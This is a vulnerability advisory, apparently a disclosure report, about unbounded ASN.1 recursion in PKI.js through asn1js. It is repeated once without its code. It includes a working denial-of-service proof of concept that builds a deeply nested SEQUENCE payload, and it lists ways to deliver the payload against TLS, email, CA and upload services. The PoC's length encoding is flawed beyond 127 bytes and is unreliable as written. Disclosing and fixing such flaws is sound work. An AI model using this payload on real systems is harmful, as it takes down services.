Summary
PKI.js inherits the unbounded recursion vulnerability from its dependency asn1js ^3.0.6. All 51+ call sites to asn1js.fromBER() across pkijs are vulnerable to stack exhaustion attacks, affecting critical PKI operations.
Severity: High (CVSS v4.0: 8.7)
CWE: CWE-674 (Uncontrolled Recursion, inherited from dependency)
Root Cause: asn1js (see related issue: [link to asn1js issue])
This vulnerability cannot be fixed in pkijs alone - the upstream asn1js package must implement depth limits first.
Attack requirements: Network-accessible PKI parser, ~20KB payload
Impact: Complete service unavailability (process crash)
Affected PKI Operations
All 51+ call sites to asn1js.fromBER() are vulnerable:
| PKI Component |
File |
Impact |
| Certificate |
src/Certificate.ts |
TLS certificate chain parsing |
| ContentInfo |
src/ContentInfo.ts |
PKCS#7/CMS SignedData processing |
| OCSPResponse |
src/OCSPResponse.ts |
OCSP validation failures |
| PFX |
src/PFX.ts |
PKCS#12 file imports crash |
| CertificationRequest |
src/CertificationRequest.ts |
CSR processing DoS |
| CertificateRevocationList |
src/CertificateRevocationList.ts |
CRL validation crashes |
| AuthenticatedSafe |
src/AuthenticatedSafe.ts |
P12 authenticated data |
| TimeStampResp |
src/TimeStampResp.ts |
RFC 3161 timestamp validation |
Technical Details
Vulnerable Dependency Chain
pkijs (any version)
→ depends on asn1js ^3.0.6
→ asn1js.fromBER() has unbounded recursion
Core Vulnerability
File: src/PkiObject.ts:38
public static fromBER<T extends PkiObject>(raw: BufferSource): T {
const asn1 = asn1js.fromBER(raw); // ← No depth protection
return new this({ schema: asn1.result });
}
Every call to .fromBER() on any pkijs class triggers the vulnerable asn1js parser.
Example Vulnerable Code Paths
// Certificate parsing - affects TLS
const cert = Certificate.fromBER(certBuffer);
// → asn1js.fromBER() with no depth limit
// PKCS#7 CMS parsing - affects signed data
const cms = ContentInfo.fromBER(cmsBuffer);
// → asn1js.fromBER() with no depth limit
// OCSP response parsing - affects certificate validation
const ocsp = OCSPResponse.fromBER(ocspBuffer);
// → asn1js.fromBER() with no depth limit
Proof of Concept
const pkijs = require('pkijs');
// Craft nested SEQUENCE: 0x30 <len> 0x30 <len> ... × 10,000
function makeNestedSequence(depth) {
let inner = Buffer.alloc(0);
for (let i = 0; i < depth; i++) {
// 0x30 = SEQUENCE tag
inner = Buffer.concat([Buffer.from([0x30, inner.length]), inner]);
}
return inner;
}
const payload = makeNestedSequence(10000); // ~20 KB
console.log(`Payload size: ${payload.length} bytes`);
try {
// Any fromBER() call will crash
pkijs.Certificate.fromBER(payload);
console.log('No vulnerability (unexpected)');
} catch (e) {
console.log('Error:', e.message);
// Expected: "RangeError: Maximum call stack size exceeded"
}
Attack Vectors
- TLS servers: Send malicious certificate in TLS handshake
- Email gateways: S/MIME signed messages with nested CMS structures
- Code signing: Malicious Authenticode signatures
- OCSP responders: Poison OCSP responses
- Certificate authorities: CSR submission with nested structures
- File upload: Upload malicious
.p12, .pfx, .p7b, .crl files
Impact
Who is impacted:
- All pkijs users (any version)
- TLS implementations using pkijs for certificate validation
- S/MIME email processors
- Code signing validators
- OCSP validation services
- Certificate authority systems processing CSRs
- PKCS#12 key import/export functionality
- Applications processing PKCS#7/CMS SignedData
Impact severity:
- Availability: Node.js process termination or browser tab crash
- Attack complexity: Low (straightforward nested structure construction)
- Authentication: Not required
- User interaction: None (automated PKI data processing)
- Payload size: ~20 KB for guaranteed crash
- Scope: Changed (affects both vulnerable app and PKI infrastructure)
Package status:
- Weekly downloads: ~700K
- Actively maintained: Yes
- Dependency: asn1js ^3.0.6 (vulnerable)
Recommended Fix
This requires a two-step fix:
Step 1: Fix asn1js (upstream dependency)
See related issue: [link to asn1js issue]
// In asn1js - add maxDepth parameter
export function fromBER(buffer: ArrayBuffer, maxDepth: number = 256): FromBerResult {
return localFromBER(buffer, 0, buffer.byteLength, maxDepth);
}
Step 2: Update pkijs dependency
{
"dependencies": {
"asn1js": "^3.0.8" // Version with depth limit
}
}
Step 3 (optional defense-in-depth): Add wrapper in pkijs
public static fromBER<T extends PkiObject>(raw: BufferSource, maxDepth: number = 256): T {
const asn1 = asn1js.fromBER(raw, maxDepth); // Pass maxDepth
if (asn1.offset === -1) {
throw new Error("Malformed ASN.1 structure");
}
return new this({ schema: asn1.result });
}
Temporary User Workaround
Until asn1js is fixed, users can implement input validation:
// Validate size before calling pkijs
const MAX_CERT_SIZE = 1024 * 1024; // 1 MB
function safeParseCertificate(buffer) {
if (buffer.byteLength > MAX_CERT_SIZE) {
throw new Error('Certificate too large');
}
try {
return pkijs.Certificate.fromBER(buffer);
} catch (err) {
if (err instanceof RangeError && err.message.includes('call stack')) {
throw new Error('Certificate nesting depth exceeded (possible DoS attack)');
}
throw err;
}
}
CVSS v4.0 Assessment
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L
Score: 8.7 (High)
Breakdown:
AV:N (Network) - Exploitable via TLS, HTTPS, email, file upload
AC:L (Low) - Trivial nested SEQUENCE construction
AT:N (None) - No additional attack requirements
PR:N (None) - No authentication required
UI:N (None) - Automated server-side or client-side parsing
VA:H (High) - Complete service disruption (process crash)
SA:L (Limited) - Impact on PKI infrastructure beyond vulnerable app
References
Disclosure
Discovery Date: 2026-03-19
Researcher: Sion Park
Contact: tldhs1144@gmail.com
I am requesting coordinated disclosure for both packages. Please coordinate with the asn1js maintainers (same team) to fix the root cause first, then update the pkijs dependency.
Note: This vulnerability cannot be fixed in pkijs alone. The upstream asn1js package must implement depth limits first. I recommend coordinated release of both fixes.
Summary
PKI.js inherits the unbounded recursion vulnerability from its dependency
asn1js ^3.0.6. All 51+ call sites toasn1js.fromBER()across pkijs are vulnerable to stack exhaustion attacks, affecting critical PKI operations.Severity: High (CVSS v4.0: 8.7)
CWE: CWE-674 (Uncontrolled Recursion, inherited from dependency)
Root Cause: asn1js (see related issue: [link to asn1js issue])
This vulnerability cannot be fixed in pkijs alone - the upstream asn1js package must implement depth limits first.
Attack requirements: Network-accessible PKI parser, ~20KB payload
Impact: Complete service unavailability (process crash)
Affected PKI Operations
All 51+ call sites to
asn1js.fromBER()are vulnerable:src/Certificate.tssrc/ContentInfo.tssrc/OCSPResponse.tssrc/PFX.tssrc/CertificationRequest.tssrc/CertificateRevocationList.tssrc/AuthenticatedSafe.tssrc/TimeStampResp.tsTechnical Details
Vulnerable Dependency Chain
Core Vulnerability
File:
src/PkiObject.ts:38Every call to
.fromBER()on any pkijs class triggers the vulnerable asn1js parser.Example Vulnerable Code Paths
Proof of Concept
Attack Vectors
.p12,.pfx,.p7b,.crlfilesImpact
Who is impacted:
Impact severity:
Package status:
Recommended Fix
This requires a two-step fix:
Step 1: Fix asn1js (upstream dependency)
See related issue: [link to asn1js issue]
Step 2: Update pkijs dependency
{ "dependencies": { "asn1js": "^3.0.8" // Version with depth limit } }Step 3 (optional defense-in-depth): Add wrapper in pkijs
Temporary User Workaround
Until asn1js is fixed, users can implement input validation:
CVSS v4.0 Assessment
Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:LScore: 8.7 (High)
Breakdown:
AV:N(Network) - Exploitable via TLS, HTTPS, email, file uploadAC:L(Low) - Trivial nested SEQUENCE constructionAT:N(None) - No additional attack requirementsPR:N(None) - No authentication requiredUI:N(None) - Automated server-side or client-side parsingVA:H(High) - Complete service disruption (process crash)SA:L(Limited) - Impact on PKI infrastructure beyond vulnerable appReferences
Disclosure
Discovery Date: 2026-03-19
Researcher: Sion Park
Contact: tldhs1144@gmail.com
I am requesting coordinated disclosure for both packages. Please coordinate with the asn1js maintainers (same team) to fix the root cause first, then update the pkijs dependency.
Note: This vulnerability cannot be fixed in pkijs alone. The upstream asn1js package must implement depth limits first. I recommend coordinated release of both fixes.